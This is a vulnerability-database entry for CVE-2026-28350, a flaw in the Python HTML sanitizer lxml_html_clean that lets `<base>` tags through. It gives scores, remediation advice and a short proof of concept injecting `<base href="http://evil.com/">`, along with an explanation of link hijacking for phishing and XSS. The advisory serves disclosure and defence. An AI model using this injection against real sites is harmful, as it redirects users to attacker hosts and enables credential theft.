VulnerabilityPublished 5 Mar 2026

CVE-2026-28350: fedora-python lxml_html_clean · Improper Encoding or Escaping of Output

Affects fedora-python lxml_html_cleanSource CVE Database V5

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Not known to be exploited · CVSS 6.1 Medium : upgrade to 0.4.4 when convenient.

Data as of 30 Oct 2026, 11:52 UTC

CVSS 3.1 base score

6.1Medium

How severe the flaw is on the 0–10 CVSS scale.

EPSS: 0.2% chance of exploitation in 30 days – higher than 19% of CVEsExploit Prediction Scoring System: the likelihood attackers will use this flaw soon.
Patch: Available – fixed in 0.4.4

CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N

Attack Vector: Network
Attack Complexity: Low
Privileges Required: None
User Interaction: Required
Scope: Changed
Confidentiality: Low
Integrity: Low
Availability: None

Bold values are the worst case: easiest to exploit or largest impact.

Attack Vector: Network: The vulnerable component is bound to the network stack and the set of possible attackers extends beyond the other options listed, up to and including the entire Internet. Such a vulnerability is often termed 'remotely exploitable' and can be thought of as an attack being exploitable at the protocol level one or more network hops away (e.g., across one or more routers).
Attack Complexity: Low: Specialized access conditions or extenuating circumstances do not exist. An attacker can expect repeatable success against the vulnerable component.
Privileges Required: None: The attacker is unauthorized prior to attack, and therefore does not require any access to settings or files to carry out an attack.
User Interaction: Required: Successful exploitation of this vulnerability requires a user to take some action before the vulnerability can be exploited.
Scope: Changed: An exploited vulnerability can affect resources beyond the security scope managed by the security authority of the vulnerable component. In this case, the vulnerable component and the impacted component are different and managed by different security authorities.
Confidentiality: Low: There is some loss of confidentiality. Access to some restricted information is obtained, but the attacker does not have control over what information is obtained, or the amount or kind of loss is limited. The information disclosure does not cause a direct, serious loss to the impacted component.
Integrity: Low: Modification of data is possible, but the attacker does not have control over the consequence of a modification, or the amount of modification is limited. The data modification does not have a direct, serious impact on the impacted component.
Availability: None: There is no impact to availability within the impacted component.

Definitions: FIRST CVSS v3.1 specification.

Exploitation evidence

Disclosed: evidence found.
CVE published 5 Mar 2026
Detectable: no evidence on record.
No public nuclei template indexed
Weaponized: no evidence on record.
No public exploit code indexed in Metasploit or Exploit-DB
Exploited in the wildExploited: no evidence on record.
Not in CISA KEV and no source reports exploitation
Observed by OffSeq MirageSeen by Mirage: no evidence on record.
No attack traffic recorded by OffSeq Mirage sensors

A missing step is not evidence of safety. Sources: cve.org (opens in a new tab), the Metasploit, Exploit-DB and nuclei-templates index as of 30 Oct 2026.

Disclosed: The CVE record is public on cve.org. Its publication is t = 0.
Detectable: A public nuclei template can find exposed instances, for defenders and attackers alike.
Weaponized: A Metasploit exploit module or Exploit-DB entry exists (Metasploit scanner modules do not count), or CISA SSVC or the CVSS exploit maturity reports a public proof of concept.
Exploited in the wild: CISA KEV lists it, CISA SSVC rates exploitation active, or a source reports attacks.
Observed by OffSeq Mirage: OffSeq Mirage honeypot sensors recorded attack traffic for this CVE, or found exposed hosts without attack traffic.

Moments are spaced evenly, not to scale; a dashed line marks a gap of six months or more. Deltas count from t = 0. Sources that give only a date (CISA KEV, Exploit-DB, or a time of exactly 00:00Z) read “same day” rather than hours. Metasploit modules carry the flaw’s disclosure date, not their release date, and nuclei templates carry no date, so both appear above but not on the timeline.

What to do

Upgrade lxml_html_clean and fedora-python/lxml_html_clean to 0.4.4.

Affected software

Product	Affected	Fixed in
fedora-pythonlxml_html_clean	Affected <0.4.4	Fixed in 0.4.4
GitHubfedora-python/lxml_html_clean`pkg:github/fedora-python/lxml_html_clean`Other threats	Affected <0.4.4	Fixed in 0.4.4

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AI-suggested

The primary mitigation is to upgrade lxml_html_clean to version 0.4.4 or later, where the <base> tag is properly handled and sanitized. For organizations unable to upgrade immediately, implement additional HTML sanitization layers that explicitly remove or neutralize <base> tags before or after using lxml_html_clean. Review and restrict the sources of HTML content being cleaned to trusted inputs where possible. Employ Content Security Policy (CSP) headers to limit the impact of malicious redirects and reduce the risk of phishing. Educate users to be cautious with links, especially those that appear suspicious or redirect unexpectedly. Monitor web application logs for unusual link redirection patterns that may indicate exploitation attempts. Finally, integrate automated security testing to detect improper HTML sanitization in development pipelines.

Description

### Summary The `<base>` tag passes through the default `Cleaner` configuration. While `page_structure=True` removes `html`, `head`, and `title` tags, there is no specific handling for `<base>`, allowing an attacker to inject it and hijack relative links on the page. ### Details The `<base>` tag is not currently in the `page_structure` kill set. Even though the specification says `<base>` must be inside `<head>`, browsers accept `<base>` tags outside of the head. If an attacker injects a `<base>` tag, it changes the base URL for all relative URLs on the page (links, images, scripts) to a domain controlled by the attacker. ### PoC ```python from lxml_html_clean import clean_html # The base tag is preserved in the output result = clean_html('<base href="http://evil.com/"><a href="/account">Account</a>') print(result) # Output: <div><base href="http://evil.com/">...<a href="/account">Account</a></div> ``` ### Impact The injection of a `<base>` tag allows an attacker to hijack the resolution of **all** relative URLs on the page. This results in three critical attack vectors: 1. **Phishing & Redirection:** Attackers can redirect user navigation (e.g., `<a href="/login">`) and form submissions (e.g., `<form action="/auth">`) to an attacker-controlled domain, effectively stealing credentials or sensitive data without the user realizing they have left the legitimate site. 2. **Cross-Site Scripting (XSS):** If the victim application loads JavaScript files using relative paths (e.g., `<script src="assets/app.js">`), the browser will attempt to fetch the script from the attacker's domain. This upgrades the vulnerability from HTML injection to full Stored XSS. 3. **Defacement:** Relative references to images (`<img>`) and stylesheets (`<link>`) will be loaded from the attacker's server, allowing for UI redressing or defacement.

Impact

This vulnerability can lead to attackers injecting malicious <base> tags into HTML content cleaned by vulnerable versions of lxml_html_clean, causing all relative links on the page to redirect to attacker-controlled sites. This can facilitate phishing attacks, credential theft, or distribution of malware by misleading users about link destinations. Organizations that rely on lxml_html_clean for sanitizing user-generated or external HTML content may inadvertently expose their users to these risks. The impact is primarily on confidentiality and integrity, as attackers can manipulate link targets without disrupting availability. Since exploitation requires user interaction (clicking links), the risk is somewhat mitigated but still significant, especially for web applications that sanitize and display untrusted HTML content. The vulnerability could affect web portals, content management systems, and any Python-based services using this library. The absence of known exploits in the wild suggests limited current exploitation, but the vulnerability should be addressed proactively to prevent future attacks.

Summary

The vulnerability identified as CVE-2026-28350 affects the lxml_html_clean project, a Python library used for cleaning HTML content. This library is a fork or copy of lxml.html.clean and provides functionalities to sanitize HTML input. Prior to version 0.4.4, the default Cleaner configuration does not specifically handle the <base> HTML tag. While other structural tags such as <html>, <head>, and <title> are removed when the page_structure option is enabled, the <base> tag is allowed to pass through unfiltered. The <base> tag in HTML defines the base URL for all relative URLs in the document. An attacker can exploit this by injecting a malicious <base> tag, causing all relative links on the page to redirect to attacker-controlled URLs. This improper encoding or escaping of output corresponds to CWE-116, which involves failure to properly sanitize or encode output data. The vulnerability impacts confidentiality and integrity by enabling link hijacking, potentially leading to phishing or redirection attacks. The CVSS v3.1 score is 6.1 (medium severity), reflecting network attack vector, low attack complexity, no privileges required, but user interaction needed, and a scope change due to affecting linked resources. The vulnerability was published on March 5, 2026, and has been patched in lxml_html_clean version 0.4.4. There are no known exploits in the wild at this time.

CWE-116Improper Encoding or Escaping of Output (opens in a new tab)
Class weaknessLikelihood of exploit: HighOWASP Top 10 A05:2025: Injection (opens in a new tab)
The product prepares a structured message for communication with another component, but encoding or escaping of the data is either missing or done incorrectly. As a result, the intended structure of the message is not preserved.
Architecture and Design · Libraries or Frameworks
Use a vetted library or framework that does not allow this weakness to occur or provides constructs that make this weakness easier to avoid.
Architecture and Design · Parameterization
If available, use structured mechanisms that automatically enforce the separation between data and code. These mechanisms may be able to provide the relevant quoting, encoding, and validation automatically, instead of relying on the developer to provide this capability at every point where output is generated.
Architecture and Design · Implementation
Understand the context in which your data will be used and the encoding that will be expected. This is especially important when transmitting data between different components, or when generating outputs that can contain multiple encodings at the same time, such as web pages or multi-part mail messages.
OWASP Cheat Sheets
Content Security Policy (opens in a new tab)
Injection Prevention (opens in a new tab)
SQL Injection Prevention (opens in a new tab)
Injection Prevention in Java (opens in a new tab)
Query Parameterization (opens in a new tab)
OWASP ASVS 4.0.3
V14.4.6 (opens in a new tab)
V14.4.4 (opens in a new tab)
V14.4.2 (opens in a new tab)
Attack patterns
Cross Zone Scripting (opens in a new tab)
User-Controlled Filename (opens in a new tab)
Web Server Logs Tampering (opens in a new tab)
AJAX Footprinting (opens in a new tab)
From MITRE CWE, MITRE CAPEC and OWASP (Top 10, OpenCRE).

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Exploitation evidence

What to do

Affected software

Description

AI analysisMachine-generated, updated 12 Mar 2026, 20:26 UTC

WeaknessesCWE-116

Technical details

References

Community reviews

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